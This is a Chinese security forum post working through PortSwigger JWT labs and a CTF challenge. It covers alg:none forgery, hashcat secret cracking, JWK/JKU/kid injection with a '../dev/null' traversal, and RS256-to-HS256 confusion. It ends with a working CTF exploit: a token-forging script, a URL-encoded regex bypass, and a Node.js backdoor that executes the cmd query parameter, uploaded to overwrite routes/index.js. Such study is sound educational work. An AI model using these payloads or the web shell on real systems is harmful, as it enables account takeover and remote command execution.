初涉JWT
niuma0x00 发表于 山西 WEB安全 5868浏览 · 2022-11-30 01:55

前言

看了第一届研究生网络安全大赛 Hackthisbox 这道题,考点是JWT算法混淆攻击
感觉到自己对于JWT方面的知识点不太熟悉
于是便有了下文


目录

1.基本介绍
2.未经验证的签名
3.签名验证缺陷
4.密钥爆破
5.标头参数注入
6.算法混淆攻击


基本介绍

JWT全拼Json Web Token
由 标头(Header)、有效载荷(Payload)和签名(Signature)组成
每个段落用英文句号连接 ,这一串内容会base64加密

JWT 使用
1、服务端根据登陆状态 将用户信息加密到token中,返给客户端
2、客户端收到服务端返回的token,存储在cookie中,并且每次通信都带上token,服务端解密token,验证内容,完成相应逻辑

先下载个bp插件 JWT edictor
操作比较方便些


未经验证的签名

产生原因:和标题同义 简单点说,忘记验证签名了
portswigger jwt系列 lab1


把原来的wiener修改为administrator
即可获得删除用户 carlos 的url 通关


签名验证缺陷

产生原因:JWT 标头的alg参数,告诉服务器使用哪种算法对令牌进行签名,当alg参数设置为none时,
可以任意伪造

portswigger lab2

修改alg为none
sub为administrator
Attack -none Signing Algorithm


密钥爆破

爆破字典https://github.com/wallarm/jwt-secrets/blob/master/jwt.secrets.list
工具:hashcat https://hashcat.net/hashcat/
指令:hashcat -a 0 -m 16500 <jwt> <wordlist></wordlist></jwt>

portswigger lab3
1.登陆当前账户提取jwt
2.hashcat -a 0 -m 16500 <jwt> <wordlist></wordlist></jwt>


爆出密钥 secret1

3.构造jwt
方法1:在bp插件中


k值替换为base64过的密钥 即secret1

方法2:jwt.io

右下角填入密钥


标头参数注入

通过 JWK参数/JKU参数/kid参数 注入自签名的JWT

1.JWK (JSON Web Key)使得攻击者能将认证的密钥直接嵌入token中,配置错误的服务器有时会使用嵌入在jwk参数中的任何密钥

portswigger lab4


生成一个RSA密钥

sub处修改为administrator
选择Embedded JWK(嵌入的JWK)

2.JKU (JWK Set URL)可以引用包含密钥的 JWK Set,验证签名时,服务器从该 URL 获取相关密钥。若允许使用该字段且不设置限定条件,攻击者就能托管自己的密钥文件,并指定应用程序,用它来认证token

portswigger lab5


生成一个rsa密钥 选择Copy Public Key as JWK


转到漏洞利用服务器 修改body 复制内容到keys中并存储

3.Kid
避免服务器验证签名时出现错误所以使用kid,JWT规范中没有对这个kid定义具体的结构,仅仅是开发人员任意选择的一个字符串

portswigger lab6


先生成一个对称密钥 k值覆盖为null(base64)

kid修改为 "kid":" ../../../../../../../dev/null" // dev/null代表空设备文件
修改sub为admin
点击sign选择OCT8 的密钥攻击 即可


算法混淆攻击

如果将算法RS256修改为HS256(非对称密码算法=>对称密码算法),则库的通用verify()方法会将公钥视为 HMAC 机密,公钥有时可以被攻击者获取到,所以攻击者可以修改header中算法为HS256,然后使用RSA公钥对数据进行签名。

portswigger lab7

1.访问/jwks.json获得公钥

2.将JWK转换为PEM格式
复制jwk set内容


Copy Public Key as PEM

3.生成新的对称密钥

4.修改并签署令牌

第一届研究生网络安全大赛HackThisBox

涉及知识点:JWT算法混淆攻击
给了docker和源码
分析:

api.js
var privateKey = fs.readFileSync('./config/private.pem');
router.post('/login', function(req, res, next) {
const token = jwt.sign({ username: req.body.username, isAdmin: false, home: req.body.username }, privateKey, { algorithm: "RS256" });

加密的时候用的是非对称加密RS256(RSA + SHA-256)

//app.JS
var publicKey = fs.readFileSync('./config/public.pem');
app.use(expressjwt({ secret: publicKey, algorithms: ["HS256", "RS256"]}).unless({ path: ["/", "/api/login"] }))

解密用对称加密HS256(HMAC + SHA-256)

app.use(function(req, res, next) {
  if([req.body, req.query, req.auth, req.headers].some(function(item) {
      console.log(req.auth)
      return item && /\.\.\/|proc|public|routes|\.js|cron|views/img.test(JSON.stringify(item));
  })) {
      return res.status(403).send('illegal data.');
  } else {
      next();
  };
});

正则

router.post('/upload', function(req, res, next) {
  if(req.files.length !== 0) {
    var savePath = '';
    if(req.auth.isAdmin === false) {
      var dirName = `./public/upload/${req.auth.home}/`
      fs.mkdir(dirName, (err)=>{
        if(err) {
          console.log('error')
        } else {
          console.log('ok')
        }
      });
      savePath = path.join(dirName, req.files[0].originalname);
    } else if(req.auth.isAdmin === true) {
      savePath = req.auth.home;
    }

    fs.readFile(req.files[0].path, function(err, data) {
      if(err) {
        return res.status(500).send("error");
      } else {
        // 任意文件写入
        fs.writeFileSync(savePath, data);
      }
    });
    return res.status(200).send("file upload successfully");
  } else {
    return res.status(500).send("error");
  }
});

思路:伪造token设置isAdmin=true 利用fs.writeFileSync(savePath, data)覆盖index.js写入后门 (使用url编码来绕过正则)


1.伪造token

var express = require('express');
var fs = require("fs")
var jwt = require("jsonwebtoken")
var path = require('path')


var app = express();
var publicKey = fs.readFileSync('./src/config/public.pem');

app.get('/', function(req, res, next) {
    const token = jwt.sign({username: "admin", isAdmin: true, home: {
        href: "c",
        origin: "c",
        protocol: "file:",
        hostname: "",
        pathname: "/app/%72%6f%75%74%65%73/index.%6a%73"  // app/routes/index.js
    }}, publicKey, {algorithm: "HS256"});

    res.send({token})
})

var server = app.listen(7000, function () {
    var host = server.address().address;
    var port = server.address().port;

    console.log("Address is http://%s:%s", host, port);
})

后门

var express = require('express');
const execSync = require('child_process').execSync;
var router = express.Router();

router.get('/', function(req, res, next) {
    var cmd = execSync(req.query.cmd);
    res.send(cmd.toString());
});

module.exports = router;

最终exp

import requests

sess = requests.session()
url = 'http://localhost:8082'

hearder = {"authorization":"Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNBZG1pbiI6dHJ1ZSwiaG9tZSI6eyJocmVmIjoiYyIsIm9yaWdpbiI6ImMiLCJwcm90b2NvbCI6ImZpbGU6IiwiaG9zdG5hbWUiOiIiLCJwYXRobmFtZSI6Ii9hcHAvJTcyJTZmJTc1JTc0JTY1JTczL2luZGV4LiU2YSU3MyJ9LCJpYXQiOjE2NjkzMDYzNDZ9.RdEQN3Kt0c_Fz_n9uJP3dTYZHWqdp6GoJ3Yd5YpZjl4"}
file = {"file":("./shell.js",open("./shell.js","rb").read())}

res = sess.post(url=url+"/api/upload",files=file,headers=hearder)
print(res.text)
2 条评论
某人
表情
可输入 255